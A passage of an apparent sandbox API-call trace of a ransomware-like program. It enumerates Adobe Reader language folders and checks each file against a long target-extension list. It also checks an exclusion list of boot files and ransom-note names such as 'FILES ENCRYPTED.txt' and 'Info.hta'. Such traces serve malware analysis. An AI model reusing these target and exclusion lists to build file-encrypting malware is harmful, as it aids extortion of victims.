[0267.545] lstrlenW (lpString=".icb") returned 4 [0267.545] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".ics") returned 4 [0267.545] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".iff") returned 4 [0267.545] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".inc") returned 4 [0267.545] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0267.545] lstrlenW (lpString=".indd") returned 5 [0267.545] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0267.546] lstrlenW (lpString=".ini") returned 4 [0267.546] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".iqy") returned 4 [0267.546] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".j2c") returned 4 [0267.546] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".j2k") returned 4 [0267.546] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".java") returned 5 [0267.546] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0267.546] lstrlenW (lpString=".jp2") returned 4 [0267.546] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".jpc") returned 4 [0267.546] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".jpe") returned 4 [0267.546] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".jpeg") returned 5 [0267.546] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0267.546] lstrlenW (lpString=".jpf") returned 4 [0267.546] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".jpg") returned 4 [0267.546] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0267.546] lstrlenW (lpString=".jpx") returned 4 [0267.547] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0267.547] lstrlenW (lpString=".js") returned 3 [0267.547] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0267.547] lstrlenW (lpString="ui-strings.js") returned 13 [0267.547] lstrlenW (lpString=".love$") returned 6 [0267.547] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0267.547] lstrlenW (lpString="ui-strings.js") returned 13 [0267.547] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0267.547] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0267.547] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0267.547] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0267.547] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0267.547] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0267.547] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0267.547] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0267.547] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pl-pl\\ui-strings.js") returned 120 [0267.547] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.548] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0267.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0267.549] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0267.549] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br") returned 106 [0267.549] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br") returned 1 [0267.549] lstrlenW (lpString="pt-br") returned 5 [0267.549] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="pt-br") returned -1 [0267.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0267.549] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br") returned 106 [0267.550] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315830 [0267.550] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.550] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.550] lstrlenW (lpString="ui-strings.js") returned 13 [0267.550] lstrlenW (lpString=".1cd") returned 4 [0267.550] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0267.550] lstrlenW (lpString=".3ds") returned 4 [0267.550] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0267.550] lstrlenW (lpString=".3fr") returned 4 [0267.550] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0267.550] lstrlenW (lpString=".3g2") returned 4 [0267.550] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0267.551] lstrlenW (lpString=".3gp") returned 4 [0267.551] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0267.551] lstrlenW (lpString=".7z") returned 3 [0267.551] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.551] lstrlenW (lpString=".accda") returned 6 [0267.551] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0267.551] lstrlenW (lpString=".accdb") returned 6 [0267.551] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0267.551] lstrlenW (lpString=".accdc") returned 6 [0267.551] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0267.551] lstrlenW (lpString=".accde") returned 6 [0267.551] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0267.551] lstrlenW (lpString=".accdt") returned 6 [0267.551] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0267.551] lstrlenW (lpString=".accdw") returned 6 [0267.551] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0267.551] lstrlenW (lpString=".adb") returned 4 [0267.551] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.551] lstrlenW (lpString=".adp") returned 4 [0267.551] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.551] lstrlenW (lpString=".ai") returned 3 [0267.551] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.552] lstrlenW (lpString=".ai3") returned 4 [0267.552] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".ai4") returned 4 [0267.552] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".ai5") returned 4 [0267.552] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".ai6") returned 4 [0267.552] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".ai7") returned 4 [0267.552] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".ai8") returned 4 [0267.552] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".anim") returned 5 [0267.552] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0267.552] lstrlenW (lpString=".arw") returned 4 [0267.552] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".as") returned 3 [0267.552] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.552] lstrlenW (lpString=".asa") returned 4 [0267.552] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".asc") returned 4 [0267.552] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.552] lstrlenW (lpString=".ascx") returned 5 [0267.552] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.553] lstrlenW (lpString=".asm") returned 4 [0267.553] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.553] lstrlenW (lpString=".asmx") returned 5 [0267.553] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.553] lstrlenW (lpString=".asp") returned 4 [0267.553] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.553] lstrlenW (lpString=".aspx") returned 5 [0267.553] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.553] lstrlenW (lpString=".asr") returned 4 [0267.553] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.553] lstrlenW (lpString=".asx") returned 4 [0267.553] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.553] lstrlenW (lpString=".avi") returned 4 [0267.553] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.553] lstrlenW (lpString=".avs") returned 4 [0267.553] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.553] lstrlenW (lpString=".backup") returned 7 [0267.553] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.553] lstrlenW (lpString=".bak") returned 4 [0267.553] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.553] lstrlenW (lpString=".bay") returned 4 [0267.553] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.553] lstrlenW (lpString=".bd") returned 3 [0267.553] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.554] lstrlenW (lpString=".bin") returned 4 [0267.554] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.554] lstrlenW (lpString=".bmp") returned 4 [0267.554] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.554] lstrlenW (lpString=".bz2") returned 4 [0267.554] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.554] lstrlenW (lpString=".c") returned 2 [0267.554] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.554] lstrlenW (lpString=".cdr") returned 4 [0267.554] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.554] lstrlenW (lpString=".cer") returned 4 [0267.554] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.554] lstrlenW (lpString=".cf") returned 3 [0267.554] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.554] lstrlenW (lpString=".cfc") returned 4 [0267.554] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.554] lstrlenW (lpString=".cfm") returned 4 [0267.554] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.554] lstrlenW (lpString=".cfml") returned 5 [0267.554] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.554] lstrlenW (lpString=".cfu") returned 4 [0267.554] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.554] lstrlenW (lpString=".chm") returned 4 [0267.555] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.555] lstrlenW (lpString=".cin") returned 4 [0267.555] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.555] lstrlenW (lpString=".class") returned 6 [0267.555] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.555] lstrlenW (lpString=".clx") returned 4 [0267.555] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.555] lstrlenW (lpString=".config") returned 7 [0267.555] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.555] lstrlenW (lpString=".cpp") returned 4 [0267.555] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.555] lstrlenW (lpString=".cr2") returned 4 [0267.555] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.555] lstrlenW (lpString=".crt") returned 4 [0267.555] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.555] lstrlenW (lpString=".crw") returned 4 [0267.555] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.555] lstrlenW (lpString=".cs") returned 3 [0267.555] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.555] lstrlenW (lpString=".css") returned 4 [0267.555] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.555] lstrlenW (lpString=".csv") returned 4 [0267.556] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".cub") returned 4 [0267.556] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".dae") returned 4 [0267.556] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".dat") returned 4 [0267.556] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".db") returned 3 [0267.556] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.556] lstrlenW (lpString=".dbf") returned 4 [0267.556] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".dbx") returned 4 [0267.556] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".dc3") returned 4 [0267.556] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".dcm") returned 4 [0267.556] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".dcr") returned 4 [0267.556] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".der") returned 4 [0267.556] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".dib") returned 4 [0267.556] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.556] lstrlenW (lpString=".dic") returned 4 [0267.556] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.557] lstrlenW (lpString=".dif") returned 4 [0267.557] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.557] lstrlenW (lpString=".divx") returned 5 [0267.557] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.557] lstrlenW (lpString=".djvu") returned 5 [0267.557] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.557] lstrlenW (lpString=".dng") returned 4 [0267.557] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.557] lstrlenW (lpString=".doc") returned 4 [0267.557] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.557] lstrlenW (lpString=".docm") returned 5 [0267.557] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.557] lstrlenW (lpString=".docx") returned 5 [0267.557] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.557] lstrlenW (lpString=".dot") returned 4 [0267.557] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.557] lstrlenW (lpString=".dotm") returned 5 [0267.557] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.557] lstrlenW (lpString=".dotx") returned 5 [0267.557] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.557] lstrlenW (lpString=".dpx") returned 4 [0267.558] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".dqy") returned 4 [0267.558] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".dsn") returned 4 [0267.558] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".dt") returned 3 [0267.558] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.558] lstrlenW (lpString=".dtd") returned 4 [0267.558] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".dwg") returned 4 [0267.558] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".dwt") returned 4 [0267.558] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".dx") returned 3 [0267.558] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.558] lstrlenW (lpString=".dxf") returned 4 [0267.558] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".edml") returned 5 [0267.558] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.558] lstrlenW (lpString=".efd") returned 4 [0267.558] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".elf") returned 4 [0267.558] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.558] lstrlenW (lpString=".emf") returned 4 [0267.558] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.559] lstrlenW (lpString=".emz") returned 4 [0267.559] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.559] lstrlenW (lpString=".epf") returned 4 [0267.559] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0267.559] lstrlenW (lpString=".eps") returned 4 [0267.559] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0267.559] lstrlenW (lpString=".epsf") returned 5 [0267.559] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0267.559] lstrlenW (lpString=".epsp") returned 5 [0267.559] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0267.559] lstrlenW (lpString=".erf") returned 4 [0267.559] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0267.559] lstrlenW (lpString=".exr") returned 4 [0267.559] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0267.559] lstrlenW (lpString=".f4v") returned 4 [0267.559] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0267.559] lstrlenW (lpString=".fido") returned 5 [0267.560] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0267.560] lstrlenW (lpString=".flm") returned 4 [0267.560] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".flv") returned 4 [0267.560] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".frm") returned 4 [0267.560] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".fxg") returned 4 [0267.560] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".geo") returned 4 [0267.560] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".gif") returned 4 [0267.560] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".grs") returned 4 [0267.560] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".gz") returned 3 [0267.560] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0267.560] lstrlenW (lpString=".h") returned 2 [0267.560] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0267.560] lstrlenW (lpString=".hdr") returned 4 [0267.560] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".hpp") returned 4 [0267.560] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0267.560] lstrlenW (lpString=".hta") returned 4 [0267.561] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".htc") returned 4 [0267.561] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".htm") returned 4 [0267.561] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".html") returned 5 [0267.561] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0267.561] lstrlenW (lpString=".icb") returned 4 [0267.561] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".ics") returned 4 [0267.561] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".iff") returned 4 [0267.561] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".inc") returned 4 [0267.561] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".indd") returned 5 [0267.561] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0267.561] lstrlenW (lpString=".ini") returned 4 [0267.561] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".iqy") returned 4 [0267.561] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".j2c") returned 4 [0267.561] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".j2k") returned 4 [0267.561] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0267.561] lstrlenW (lpString=".java") returned 5 [0267.562] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0267.562] lstrlenW (lpString=".jp2") returned 4 [0267.562] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0267.562] lstrlenW (lpString=".jpc") returned 4 [0267.562] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0267.562] lstrlenW (lpString=".jpe") returned 4 [0267.562] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0267.562] lstrlenW (lpString=".jpeg") returned 5 [0267.562] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0267.562] lstrlenW (lpString=".jpf") returned 4 [0267.562] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0267.562] lstrlenW (lpString=".jpg") returned 4 [0267.562] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0267.562] lstrlenW (lpString=".jpx") returned 4 [0267.562] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0267.562] lstrlenW (lpString=".js") returned 3 [0267.562] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0267.562] lstrlenW (lpString="ui-strings.js") returned 13 [0267.562] lstrlenW (lpString=".love$") returned 6 [0267.562] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0267.562] lstrlenW (lpString="ui-strings.js") returned 13 [0267.562] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0267.562] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0267.562] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0267.562] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0267.563] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0267.563] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0267.563] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0267.563] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0267.563] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\pt-br\\ui-strings.js") returned 120 [0267.563] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.563] FindClose (in: hFindFile=0x3315830 | out: hFindFile=0x3315830) returned 1 [0267.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0267.563] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0267.563] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro") returned 106 [0267.563] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro") returned 1 [0267.563] lstrlenW (lpString="ro-ro") returned 5 [0267.563] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ro-ro") returned -1 [0267.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0267.564] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro") returned 106 [0267.564] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, 